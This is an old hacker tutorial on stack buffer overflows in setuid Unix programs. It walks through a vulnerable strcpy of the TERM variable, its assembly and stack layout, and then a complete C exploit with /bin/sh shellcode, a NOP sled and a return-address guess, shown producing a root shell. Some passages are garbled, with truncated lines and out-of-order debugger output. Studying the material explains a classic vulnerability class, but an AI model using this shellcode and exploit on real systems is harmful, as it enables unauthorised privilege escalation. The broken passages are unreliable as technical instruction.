Overflow Tutorial by QuantumG
Overflow Tutorial by QuantumG
Overflow Tutorial by QuantumG
1 root
root
when the user (whoever he/she may be) executes /usr/bin/passwd the user's
uid/gid is changed to root and the binary is executed. After completing
execution the user's uid/gid is changed back to what it was.
Unfortunately people who write suid/sgid bins have to be very careful to
not execute anything that the user may comprimise security with. One of
the things that suid/sgid writers have to be careful of is copying data
into buffers without a limit on the number of characters that may be
copied. This is where we come in. By copying more data than the buffer
can contain we can overwrite important parts of the stack and execute
arbituary code.
Overflow sploits
---------------ok.. what is an overflow sploit? well.. lets have a look at some code:
void main(int argc, char **argv, char **envp) {
char s[1024];
strcpy(s,getenv("TERM"));
}
this is a really common peice of code.. and many a sploit is based around
just this kind of oversight. So exactly what is wrong with this and how
can we exploit it? ok.. lets have a look, suppose this file is called
"simple".
$ export TERM="01234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
123456789"
$ ./simple
Segmentation fault
In case you missed that first bit.. we're setting the variable TERM to
over 1024 characters. We then execute simple and it gives us a
segmentation fault. Why? Well, to understand that we need to know
exactly what is happening. Do the following:
$ cat simple.c
#include <simple.h>
#include <stdlib.h>
void main(int argc,char **argv,char **envp) {
char s[1024];
strcpy(s,getenv("TERM"));
}
$ gcc simple.c -S
$ cat simple.s
.file "simple.c"
.version
"01.01"
gcc2_compiled.:
.section
.rodata
.LC0:
.string "TERM"
.text
.align 16
.globl main
.type
main,@function
main:
pushl %ebp
movl %esp,%ebp
subl $1024,%esp
pushl $.LC0
call getenv
addl $4,%esp
movl %eax,%eax
pushl %eax
leal -1024(%ebp),%eax
pushl %eax
call strcpy
addl $8,%esp
.L1:
movl %ebp,%esp
popl %ebp
ret
.Lfe1:
.size
main,.Lfe1-main
.ident "GCC: (GNU) 2.7.0"
$
ok.. so that's a bit and now we need to know something. We need to know
a little x86 asm.. That's a little beyond the scope of this article so
you might want to check out a book or two.. Anyways.. here's the
important bits of that output:
pushl %ebp
movl %esp,%ebp
subl $1024,%esp
..
ret
The first two lines are called "setting up a stack frame" and is a
standard part of code compiled by a c compiler. The third line here is
allocating space on the stack for the "s" variable in our c code back up
there. From this we can get an idea about what the stack looks like:
+-------------+ -1024(%ebp)
| 1024 bytes |
+-------------+
0(%ebp)
|
ebp
|
+-------------+
4(%ebp)
| ret addr |
+-------------+
8(%ebp)
|
argc
|
+-------------+
12(%ebp)
|
argv
|
+-------------+
16(%ebp)
|
envp
|
+-------------+
(s variable)
esi
0x50000000
1342177280
edi
0x50001df0
1342184944
eip
0x80004ee
0x80004ee
ps
0x382
898
cs
0x23
35
ss
0x2b
43
ds
0x2b
43
es
0x2b
43
fs
0x2b
43
gs
0x2b
43
(gdb) x/5xw 0xbffffc04
0xbffffc04 <__fpu_control+3087001064>: 0xbffff8e8
0x00000001
0xbffffc18
0xbffffc14 <__fpu_control+3087001080>: 0xbffffc20
(gdb)
0x08000495
the first value here (0xbffff8e8) is the value of ebp before it was
pushed onto the stack. The next value is the return address. The
0x00000001 is argc and 0xbffffc18 is argv and the 0xbffffc20 is envp. So
if we were to copy 1024 + 8 bytes we could overwrite the return address
and make it jump back to our code (that we also copy there). So lets
skip to the chase. If we set TERM to:
<lots of nops><some code to execute a shell><a return address>
when we get to the ret it'll return to
code which executes a shell. The only
return address should be. The perfect
but it's rather unlikely that we would
write the sploit so we try to estimate
"simple" example:
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
char *realegg =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/*char *realegg="\xeb\xfe\0";*/
char s[1034];
int i;
char *s1;
#define STACKFRAME (0xc00 - 0x818)
void main(int argc,char **argv,char **envp) {
strcpy(s,"TERM=");
s1 = s+5;
while (s1<s+1028+5-strlen(realegg)) *(s1++)=0x90;
while (*realegg) *(s1++)=*(realegg++);
*((unsigned long *)s1)=get_esp()+16-1028-STACKFRAME;
printf("%08X\n",*((long *)s1));
s1+=4;
*s1=0;
putenv(s);
system("bash");
}
The first thing we do is copy TERM= into a string. We then pad out the s
variable with nops and add the egg (the floating peice of code which
executes a shell) to the end of the variable and then add the return
address. We then call putenv to set the variable and execute a shell.
We execute a shell rather than just calling "simple" so that we can use
gdb to debug it. The "get_esp" routine gets the current value of esp
(which may change from machine to machine). Lets have a look:
$ ./sploit
BFFFF418
bash$ ./simple
bash$
nothing too amazing.. but have a look at this:
$ ls -l simple
-rwsr-xr-x 1 root
$ ./sploit
BFFFF418
bash$ ./simple
bash#
root
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) run
Starting program: whatesp
BFFFF7FC
Program exited with code 011.
(gdb)
and replace the 0x818 value in the STACK_FRAME define with 0x7fc. You
can then actually watch the sploit execute.
That's all yall
--------------That concludes the overflow tutorial. To those of you who saw the first
version of this tutorial, I'm sorry the sploit didnt work. That's what
happens when you give it to someone to look over and someone steals it
out of their homedir.
QuantumG